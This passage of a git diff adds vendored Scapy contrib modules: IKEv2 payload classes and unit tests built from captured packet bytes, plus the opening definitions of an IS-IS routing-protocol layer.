Traffic Selector" + fields_desc = [ + ByteEnumField("TS_type", None, IKEv2TrafficSelectorTypes), + ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), + PacketField("load", "", Raw) + ] + + +class IKEv2_payload_TSi(IKEv2_class): + name = "IKEv2 Traffic Selector - Initiator" + overload_fields = {IKEv2: {"next_payload": 44}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "traffic_selector", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 + ByteField("number_of_TSs", 0), + X3BytesField("res2", 0), + PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda x:x.length - 8, count_from=lambda x:x.number_of_TSs), # noqa: E501 + ] + + +class IKEv2_payload_TSr(IKEv2_class): + name = "IKEv2 Traffic Selector - Responder" + overload_fields = {IKEv2: {"next_payload": 45}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "traffic_selector", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 + ByteField("number_of_TSs", 0), + X3BytesField("res2", 0), + PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda x:x.length - 8, count_from=lambda x:x.number_of_TSs), # noqa: E501 + ] + + +class IKEv2_payload_Delete(IKEv2_class): + name = "IKEv2 Vendor ID" + overload_fields = {IKEv2: {"next_payload": 42}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "vendorID", "H", adjust=lambda pkt, x:x + 4), # noqa: E501 + StrLenField("vendorID", "", length_from=lambda x:x.length - 4), + ] + + +class IKEv2_payload_SA(IKEv2_class): + name = "IKEv2 SA" + overload_fields = {IKEv2: {"next_payload": 33}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "prop", "H", adjust=lambda pkt, x:x + 4), + PacketLenField("prop", conf.raw_layer(), IKEv2_payload_Proposal, length_from=lambda x:x.length - 4), # noqa: E501 + ] + + +class IKEv2_payload_Nonce(IKEv2_class): + name = "IKEv2 Nonce" + overload_fields = {IKEv2: {"next_payload": 40}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), + StrLenField("load", "", length_from=lambda x:x.length - 4), + ] + + +class IKEv2_payload_Notify(IKEv2_class): + name = "IKEv2 Notify" + overload_fields = {IKEv2: {"next_payload": 41}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ByteEnumField("proto", None, {0: "Reserved", 1: "IKE", 2: "AH", 3: "ESP"}), # noqa: E501 + FieldLenField("SPIsize", None, "SPI", "B"), + ShortEnumField("type", 0, IKEv2NotifyMessageTypes), + StrLenField("SPI", "", length_from=lambda x: x.SPIsize), + StrLenField("load", "", length_from=lambda x: x.length - 8), + ] + + +class IKEv2_payload_KE(IKEv2_class): + name = "IKEv2 Key Exchange" + overload_fields = {IKEv2: {"next_payload": 34}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ShortEnumField("group", 0, IKEv2TransformTypes['GroupDesc'][1]), + ShortField("res2", 0), + StrLenField("load", "", length_from=lambda x:x.length - 8), + ] + + +class IKEv2_payload_IDi(IKEv2_class): + name = "IKEv2 Identification - Initiator" + overload_fields = {IKEv2: {"next_payload": 35}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 + ByteEnumField("ProtoID", 0, {0: "Unused"}), + ShortEnumField("Port", 0, {0: "Unused"}), + # IPField("IdentData","127.0.0.1"), + StrLenField("load", "", length_from=lambda x: x.length - 8), + ] + + +class IKEv2_payload_IDr(IKEv2_class): + name = "IKEv2 Identification - Responder" + overload_fields = {IKEv2: {"next_payload": 36}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 + ByteEnumField("ProtoID", 0, {0: "Unused"}), + ShortEnumField("Port", 0, {0: "Unused"}), + # IPField("IdentData","127.0.0.1"), + StrLenField("load", "", length_from=lambda x: x.length - 8), + ] + + +class IKEv2_payload_Encrypted(IKEv2_class): + name = "IKEv2 Encrypted and Authenticated" + overload_fields = {IKEv2: {"next_payload": 46}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), + StrLenField("load", "", length_from=lambda x:x.length - 4), + ] + + +class IKEv2_payload_Encrypted_Fragment(IKEv2_class): + name = "IKEv2 Encrypted Fragment" + overload_fields = {IKEv2: {"next_payload": 53}} + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x: x + 8), # noqa: E501 + ShortField("frag_number", 1), + ShortField("frag_total", 1), + StrLenField("load", "", length_from=lambda x: x.length - 8), + ] + + +class IKEv2_payload_CERTREQ(IKEv2_class): + name = "IKEv2 Certificate Request" + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "cert_data", "H", adjust=lambda pkt, x:x + 5), # noqa: E501 + ByteEnumField("cert_type", 0, IKEv2CertificateEncodings), + StrLenField("cert_data", "", length_from=lambda x:x.length - 5), + ] + + +class IKEv2_payload_CERT(IKEv2_class): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 16: + ts_type = struct.unpack("!B", _pkt[4:5])[0] + if ts_type == 4: + return IKEv2_payload_CERT_CRT + elif ts_type == 7: + return IKEv2_payload_CERT_CRL + else: + return IKEv2_payload_CERT_STR + return IKEv2_payload_CERT_STR + + +class IKEv2_payload_CERT_CRT(IKEv2_payload_CERT): + name = "IKEv2 Certificate" + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "x509Cert", "H", adjust=lambda pkt, x: x + len(pkt.x509Cert) + 5), # noqa: E501 + ByteEnumField("cert_type", 4, IKEv2CertificateEncodings), + PacketLenField("x509Cert", X509_Cert(''), X509_Cert, length_from=lambda x:x.length - 5), # noqa: E501 + ] + + +class IKEv2_payload_CERT_CRL(IKEv2_payload_CERT): + name = "IKEv2 Certificate" + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "x509CRL", "H", adjust=lambda pkt, x: x + len(pkt.x509CRL) + 5), # noqa: E501 + ByteEnumField("cert_type", 7, IKEv2CertificateEncodings), + PacketLenField("x509CRL", X509_CRL(''), X509_CRL, length_from=lambda x:x.length - 5), # noqa: E501 + ] + + +class IKEv2_payload_CERT_STR(IKEv2_payload_CERT): + name = "IKEv2 Certificate" + fields_desc = [ + ByteEnumField("next_payload", None, IKEv2_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "cert_data", "H", adjust=lambda pkt, x: x + 5), # noqa: E501 + ByteEnumField("cert_type", 0, IKEv2CertificateEncodings), + StrLenField("cert_data", "", length_from=lambda x:x.length - 5), + ] + + +IKEv2_payload_type_overload = {} +for i, payloadname in enumerate(IKEv2_payload_type): + name = "IKEv2_payload_%s" % payloadname + if name in globals(): + IKEv2_payload_type_overload[globals()[name]] = {"next_payload": i} + +del i, payloadname, name +IKEv2_class._overload_fields = IKEv2_payload_type_overload.copy() + +split_layers(UDP, ISAKMP, sport=500) +split_layers(UDP, ISAKMP, dport=500) + +bind_layers(UDP, IKEv2, dport=500, sport=500) # TODO: distinguish IKEv1/IKEv2 +bind_layers(UDP, IKEv2, dport=4500, sport=4500) + + +def ikev2scan(ip, **kwargs): + """Send a IKEv2 SA to an IP and wait for answers.""" + return sr(IP(dst=ip) / UDP() / IKEv2(init_SPI=RandString(8), + exch_type=34) / IKEv2_payload_SA(prop=IKEv2_payload_Proposal()), **kwargs) # noqa: E501 diff --git a/libs/scapy/contrib/ikev2.uts b/libs/scapy/contrib/ikev2.uts new file mode 100755 index 0000000..d03e055 --- /dev/null +++ b/libs/scapy/contrib/ikev2.uts @@ -0,0 +1,111 @@ +% Ikev2 Tests +* Tests for the Ikev2 layer + ++ Basic Layer Tests + += Ikev2 build + +a = IKEv2() +assert raw(a) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c' + += Ikev2 dissection + +a = IKEv2(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! \x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x14\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x03") +assert a[IKEv2_payload_Transform].transform_type == 2 +assert a[IKEv2_payload_Transform].transform_id == 3 +assert a.next_payload == 33 +assert a[IKEv2_payload_SA].next_payload == 0 +assert a[IKEv2_payload_Proposal].next_payload == 0 +assert a[IKEv2_payload_Proposal].proposal == 1 +assert a[IKEv2_payload_Transform].next_payload == 0 +a[IKEv2_payload_Transform].show() + + += Build Ikev2 SA request packet + +a = IKEv2(init_SPI="MySPI",exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal()) +assert raw(a) == b'MySPI\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! "\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x0c\x00\x00\x00\x08\x01\x01\x00\x00' + += Build advanced IKEv2 + +import binascii + +key_exchange = binascii.unhexlify('bb41bb41cfaf34e3b3209672aef1c51b9d52919f1781d0b4cd889d4aafe261688776000c3d9031505aefc0186967eaf5a7663725fb102c59c39b7a70d8d9161c3bd0eb445888b5028ea063ba0ae01f5b3f30808a6b6710dc9bab601e4116157d7f58cf835cb633c64abcb3a5c61c223e9332538bfc9f282cb62d1f00f4ee8802') +nonce = binascii.unhexlify('8dfcf8384c5c32f1b294c64eab69f98e9d8cf7e7f352971a91ff6777d47dffed') +nat_detection_source_ip = binascii.unhexlify('e64c81c4152ad83bd6e035009fbb900406be371f') +nat_detection_destination_ip = binascii.unhexlify('28cd99b9fa1267654b53f60887c9c35bcf67a8ff') +transform_1 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'Encryption', transform_id = 12, length = 12, key_length = 0x80) +transform_2 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'PRF', transform_id = 2) +transform_3 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'Integrity', transform_id = 2) +transform_4 = IKEv2_payload_Transform(next_payload = 'last', transform_type = 'GroupDesc', transform_id = 2) +packet = IP(dst = '192.168.1.10', src = '192.168.1.130') /\ + UDP(dport = 500) /\ + IKEv2(init_SPI = b'KWdxMhjA', next_payload = 'SA', exch_type = 'IKE_SA_INIT', flags='Initiator') /\ + IKEv2_payload_SA(next_payload = 'KE', prop = IKEv2_payload_Proposal(trans_nb = 4, trans = transform_1 / transform_2 / transform_3 / transform_4, )) /\ + IKEv2_payload_KE(next_payload = 'Nonce', group = '1024MODPgr', load = key_exchange) /\ + IKEv2_payload_Nonce(next_payload = 'Notify', load = nonce) /\ + IKEv2_payload_Notify(next_payload = 'Notify', type = 16388, load = nat_detection_source_ip) /\ + IKEv2_payload_Notify(next_payload = 'None', type = 16389, load = nat_detection_destination_ip) + +assert raw(packet) == b'E\x00\x01L\x00\x01\x00\x00@\x11\xf5\xc3\xc0\xa8\x01\x82\xc0\xa8\x01\n\x11\x94\x01\xf4\x018\x97 KWdxMhjA\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x010"\x00\x000\x00\x00\x00,\x01\x01\x00\x04\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x02\x00\x00\x00\x08\x04\x00\x00\x02(\x00\x00\x88\x00\x02\x00\x00\xbbA\xbbA\xcf\xaf4\xe3\xb3 \x96r\xae\xf1\xc5\x1b\x9dR\x91\x9f\x17\x81\xd0\xb4\xcd\x88\x9dJ\xaf\xe2ah\x87v\x00\x0c=\x901PZ\xef\xc0\x18ig\xea\xf5\xa7f7%\xfb\x10,Y\xc3\x9bzp\xd8\xd9\x16\x1c;\xd0\xebDX\x88\xb5\x02\x8e\xa0c\xba\n\xe0\x1f[?0\x80\x8akg\x10\xdc\x9b\xab`\x1eA\x16\x15}\x7fX\xcf\x83\\\xb63\xc6J\xbc\xb3\xa5\xc6\x1c">\x932S\x8b\xfc\x9f(,\xb6-\x1f\x00\xf4\xee\x88\x02)\x00\x00$\x8d\xfc\xf88L\\2\xf1\xb2\x94\xc6N\xabi\xf9\x8e\x9d\x8c\xf7\xe7\xf3R\x97\x1a\x91\xffgw\xd4}\xff\xed)\x00\x00\x1c\x00\x00@\x04\xe6L\x81\xc4\x15*\xd8;\xd6\xe05\x00\x9f\xbb\x90\x04\x06\xbe7\x1f\x00\x00\x00\x1c\x00\x00@\x05(\xcd\x99\xb9\xfa\x12geKS\xf6\x08\x87\xc9\xc3[\xcfg\xa8\xff' + +## packets taken from +## https://github.com/wireshark/wireshark/blob/master/test/captures/ikev2-decrypt-aes128ccm12.pcap + += Dissect Initiator Request + +a = Ether(b'\x00!k\x91#H\xb8\'\xeb\xa6XI\x08\x00E\x00\x01\x14u\xc2@\x00@\x11@\xb6\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x01\x00=8\xeahM!Yz\xfd6\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x00\xf8"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x002\xc6\xdf\xfe\\C\xb0\xd5\x81\x1f~\xaa\xa8L\x9fx\xbf\x99\xb9\x06\x9c+\x07.\x0b\x82\xf4k\xf6\xf6m\xd4_\x97\xef\x89\xee(_\xd5\xdfRzDwkR\x9f\xc9\xd8\xa9\t\xd8B\xa6\xfbY\xb9j\tS\x95ar)\x00\x00$\xb6UF-oKf\xf8r\xcc\xd7\xf0\xf4\xb4\x85w2\x92\x139\xcb\xaaR7\xed\xba$O&+h#)\x00\x00\x1c\x00\x00@\x04\x94\x9c\x9d\xb5s\x9du\xa9t\xa4\x9c\x18F\x186\x9b4\xb7\xf9B)\x00\x00\x1c\x00\x00@\x05>r\x1bF\xbe\x07\xd51\x11B]\x7f\x80\xd2\xc6\xe2 \xc6\x07.\x00\x00\x00\x10\x00\x00@/\x00\x01\x00\x02\x00\x03\x00\x04') +assert a[IKEv2_payload_SA].prop.trans.transform_id == 15 +assert a[IKEv2_payload_Notify].next_payload == 41 +assert IP(a[IKEv2_payload_Notify].load).src == "70.24.54.155" +assert IP(a[IKEv2_payload_Notify].payload.load).dst == "32.198.7.46" + += Dissect Responder Response + +b = Ether(b'\xb8\'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x01\x0c\xd2R@\x00@\x11\xe4-\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00\xf8\x07\xdd\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac! " \x00\x00\x00\x00\x00\x00\x00\xf0"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x00,f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T)\x00\x00$\x9e]&sy\xe6\x81\xe7\xd3\x8d\x81\xc7\x10\xd3\x83@\x1d\xe7\xe3`{\x92m\x90\xa9\x95\x8a\xdc\xb5(1\xaa)\x00\x00\x1c\x00\x00@\x04z\x07\x85\'=Y 8)\xa6\x97U\x0f1\xcb\xb9N\xb7+C)\x00\x00\x1c\x00\x00@\x05\xc3\xe5\x8a\x8c\xc9\x93<\xe0\xb7\x8f*P\xe8\xde\x80\x13N\x12\xce1\x00\x00\x00\x08\x00\x00@\x14') +assert b[UDP].dport == 500 +assert b[IKEv2_payload_KE].load == b',f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T' +assert b[IKEv2_payload_Nonce].payload.type == 16388 +assert b[IKEv2_payload_Nonce].payload.payload.payload.next_payload == 0 + += Dissect Encrypted Inititor Request + +a = Ether(b"\x00!k\x91#H\xb8'\xeb\xa6XI\x08\x00E\x00\x00Yu\xe2@\x00@\x11AQ\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x00E}\xe0\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. %\x08\x00\x00\x00\x02\x00\x00\x00=*\x00\x00!\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2") +assert a[IKEv2_payload_Encrypted].next_payload == 42 +assert a[IKEv2_payload_Encrypted].load == b'\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2' + += Dissect Encrypted Responder Response + +b = Ether(b"\xb8'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x00Q\xd5y@\x00@\x11\xe1\xc1\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00=\xf9F\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. % \x00\x00\x00\x02\x00\x00\x005\x00\x00\x00\x19\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD") +assert b[IKEv2].init_SPI == b'\xeahM!Yz\xfd6' +assert b[IKEv2].resp_SPI == b'\xd9\xfe*\xb2-\xac#\xac' +assert b[IKEv2].next_payload == 46 +assert b[IKEv2_payload_Encrypted].load == b'\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD' + += Test Certs detection + +a = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRL())) +b = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_STR())) +c = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRT())) + +assert isinstance(a, IKEv2_payload_CERT_CRL) +assert isinstance(b, IKEv2_payload_CERT_STR) +assert isinstance(c, IKEv2_payload_CERT_CRT) + += Test TrafficSelector detection + +a = TrafficSelector(raw(IPv4TrafficSelector())) +b = TrafficSelector(raw(IPv6TrafficSelector())) +c = TrafficSelector(raw(EncryptedTrafficSelector())) + +assert isinstance(a, IPv4TrafficSelector) +assert isinstance(b, IPv6TrafficSelector) +assert isinstance(c, EncryptedTrafficSelector) + += IKEv2_payload_Encrypted_Fragment, simple tests + +s = b"\x00\x00\x00\x08\x00\x01\x00\x01" +assert raw(IKEv2_payload_Encrypted_Fragment()) == s + +p = IKEv2_payload_Encrypted_Fragment(s) +assert p.length == 8 and p.frag_number == 1 diff --git a/libs/scapy/contrib/isis.py b/libs/scapy/contrib/isis.py new file mode 100755 index 0000000..3d08bc6 --- /dev/null +++ b/libs/scapy/contrib/isis.py @@ -0,0 +1,945 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Intermediate System to Intermediate System (ISIS) +# scapy.contrib.status = loads + +""" + IS-IS Scapy Extension + ~~~~~~~~~~~~~~~~~~~~~ + + :copyright: 2014-2016 BENOCS GmbH, Berlin (Germany) + :author: Marcel Patzlaff, mpatzlaff@benocs.com + Michal Kaliszan, mkaliszan@benocs.com + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides Scapy layers for the Intermediate System + to Intermediate System routing protocol as defined in RFC 1195. + + Currently it (partially) supports the packaging/encoding + requirements of the following RFCs: + * RFC 1195 (only the TCP/IP related part) + * RFC 3358 (optional checksums) + * RFC 5301 (dynamic hostname extension) + * RFC 5302 (domain-wide prefix distribution) + * RFC 5303 (three-way handshake) + * RFC 5304 (cryptographic authentication) + * RFC 5308 (routing IPv6 with IS-IS) + + :TODO: + + - packet relations (requests, responses) + - support for recent RFCs: + * RFC 5305 (traffic engineering) + * RFC 5307 (support for G-MPLS) + * RFC 5310 (generic cryptographic authentication) + * RFC 5316 (inter-AS MPLS and G-MPLS TE) + +""" + +from __future__ import absolute_import +import struct +import random + +from scapy.config import conf +from scapy.fields import BitField, BitFieldLenField, BoundStrLenField, \ + ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, \ + FieldListField, FlagsField, IEEEFloatField, IP6PrefixField, IPField, \ + IPPrefixField, IntField, LongField, MACField, PacketListField, \ + ShortField, ThreeBytesField, XIntField, XShortField +from scapy.packet import bind_layers, Packet +from scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol +from scapy.layers.inet6 import IP6ListField, IP6Field +from scapy.utils import fletcher16_checkbytes +from scapy.volatile import RandString, RandByte +from scapy.modules.six.moves import range +from scapy.compat import orb, hex_bytes + +EXT_VERSION = "v0.0.2" + + +####################################################################### +# ISIS Utilities + Fields # +####################################################################### +def isis_area2str(area): + return b"".join(hex_bytes(x) for x in area.split(".")) + + +def isis_str2area(s): + if len(s) == 0: + return "" + + numbytes = len(s[1:]) + fmt = "%02X" + (".%02X%02X" * (numbytes // 2)) + ("" if (numbytes % 2) == 0 else ".%02X") # noqa: E501 + return fmt % tuple(orb(x) for x in s) + + +def isis_sysid2str(sysid): + return b"".join(hex_bytes(x) for x in sysid.split(".")) + + +def isis_str2sysid(s): + return ("%02X%02X." * 3)[:-1] % tuple(orb(x) for x in s) + + +def isis_nodeid2str(nodeid): + return isis_sysid2str(nodeid[:-3]) + hex_bytes(nodeid[-2:]) + + +def isis_str2nodeid(s): + return "%s.%02X" % (isis_str2sysid(s[:-1]), orb(s[-1])) + + +def isis_lspid2str(lspid): + return isis_nodeid2str(lspid[:-3]) + hex_bytes(lspid[-2:]) + + +def isis_str2lspid(s): + return "%s-%02X" % (isis_str2nodeid(s[:-1]), orb(s[-1])) + + +class _ISIS_IdFieldBase(Field): + __slots__ = ["to_str", "to_id", "length"] + + def __init__(self, name, default, length, to_str, to_id): + self.to_str = to_str + self.to_id = to_id + self.length = length + Field.__init__(self, name, default, "%is" % length) + + def i2m(self, pkt, x): + if x is None: + return b"\0" * self.length + + return self.to_str(x) + + def m2i(self, pkt, x): + return self.to_id(x) + + def any2i(self, pkt, x): + if isinstance(x, str) and len(x) == self.length: + return self.m2i(pkt, x) + + return x + + +class _ISIS_RandId(RandString): + def __init__(self, template): + RandString.__init__(self) + self.bytecount = template.count("*") + self.format = template.replace("*", "%02X") + + def _fix(self): + if self.bytecount == 0: + return "" + + val = () + + for _ in range(self.bytecount): + val += (RandByte(),) + + return self.format % val + + +class _ISIS_RandAreaId(_ISIS_RandId): + def __init__(self, bytecount=None): + template = "*" + ( + ".**" * ((self.bytecount - 1) // 2) + ) + ( + "" if ((self.bytecount - 1) % 2) == 0 else ".*" + ) + super(_ISIS_RandAreaId, self).__init__(template) + if bytecount is None: + self.bytecount = random.randint(1, 13) + else: + self.bytecount = bytecount + + +class ISIS_AreaIdField(Field): + __slots__ = ["length_from"] + + def __init__(self, name, default, length_from): + Field.__init__(self, name, default) + self.length_from = length_from + + def i2m(self, pkt, x): + return isis_area2str(x) + + def m2i(self, pkt, x): + return isis_str2area(x) + + def i2len(self, pkt, x): + if x is None: + return 0 + tmp_len = len(x) + # l/5 is the number of dots in the Area ID + return (tmp_len - (tmp_len // 5)) // 2 + + def addfield(self, pkt, s, val): + sval = self.i2m(pkt, val) + return s + struct.pack("!%is" % len(sval), sval) + + def getfield(self, pkt, s): + numbytes = self.length_from(pkt) + return s[numbytes:], self.m2i(pkt, struct.unpack("!%is" % numbytes, s[:numbytes])[0]) # noqa: E501 + + def randval(self): + return _ISIS_RandAreaId() + + +class ISIS_SystemIdField(_ISIS_IdFieldBase): + def __init__(self, name, default): + _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid) # noqa: E501 + + def randval(self): + return _ISIS_RandId("**.**.**") + + +class ISIS_NodeIdField(_ISIS_IdFieldBase): + def __init__(self, name, default): + _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid) # noqa: E501 + + def randval(self): + return _ISIS_RandId("**.**.**.*") + + +class ISIS_LspIdField(_ISIS_IdFieldBase): + def __init__(self, name, default): + _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid) # noqa: E501 + + def randval(self): + return _ISIS_RandId("**.**.**.*-*") + + +class ISIS_CircuitTypeField(FlagsField): + def __init__(self, name="circuittype", default=2, size=8, + names=None): + if names is None: + names = ["L1", "L2", "r0", "r1", "r2", "r3", "r4", "r5"] + FlagsField.__init__(self, name, default, size, names) + + +def _ISIS_GuessTlvClass_Helper(tlv_classes, defaultname, p, **kargs): + cls = conf.raw_layer + if len(p) >= 2: + tlvtype = orb(p[0]) + clsname = tlv_classes.get(tlvtype, defaultname) + cls = globals()[clsname] + + return cls(p, **kargs) + + +class _ISIS_GenericTlv_Base(Packet): + fields_desc = [ByteField("type", 0), + FieldLenField("len", None, length_of="val", fmt="B"), + BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)] # noqa: E501 + + def guess_payload_class(self, p): + return conf.padding_layer + + +class ISIS_GenericTlv(_ISIS_GenericTlv_Base): + name = "ISIS Generic TLV" + + +class ISIS_GenericSubTlv(_ISIS_GenericTlv_Base): + name = "ISIS Generic Sub-TLV" + + +####################################################################### +# ISIS Sub-TLVs for TLVs 22, 23, 141, 222, 223 # +####################################################################### +_isis_subtlv_classes_1 = { + 3: "ISIS_AdministrativeGroupSubTlv", + 4: "ISIS_LinkLocalRemoteIdentifiersSubTlv", + 6: "ISIS_IPv4InterfaceAddressSubTlv", + 8: "ISIS_IPv4NeighborAddressSubTlv", + 9: "ISIS_MaximumLinkBandwidthSubTlv", + 10: "ISIS_MaximumReservableLinkBandwidthSubTlv", + 11: "ISIS_UnreservedBandwidthSubTlv", + 12: "ISIS_IPv6InterfaceAddressSubTlv", + 13: "ISIS_IPv6NeighborAddressSubTlv", + 18: "ISIS_TEDefaultMetricSubTlv" +} + +_isis_subtlv_names_1 = { + 3: "Administrative Group (Color)", + 4: "Link Local/Remote Identifiers", + 6: "IPv4 Interface Address", + 8: "IPv4 Neighbor Address", + 9: "Maximum Link Bandwidth", + 10: "Maximum Reservable Link Bandwidth", + 11: "Unreserved Bandwidth", + 12: "IPv6 Interface Address", + 13: "IPv6 Neighbor Address", + 18: "TE Default Metric" +} + + +def _ISIS_GuessSubTlvClass_1(p, **kargs): + return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_1, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 + + +class ISIS_IPv4InterfaceAddressSubTlv(ISIS_GenericSubTlv): + name = "ISIS IPv4 Interface Address (S)" + fields_desc = [ByteEnumField("type", 6, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="address", fmt="B"), + IPField("address", "0.0.0.0")] + + +class ISIS_IPv4NeighborAddressSubTlv(ISIS_GenericSubTlv): + name = "ISIS IPv4 Neighbor Address (S)" + fields_desc = [ByteEnumField("type", 8, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="address", fmt="B"), + IPField("address", "0.0.0.0")] + + +class ISIS_LinkLocalRemoteIdentifiersSubTlv(ISIS_GenericSubTlv): + name = 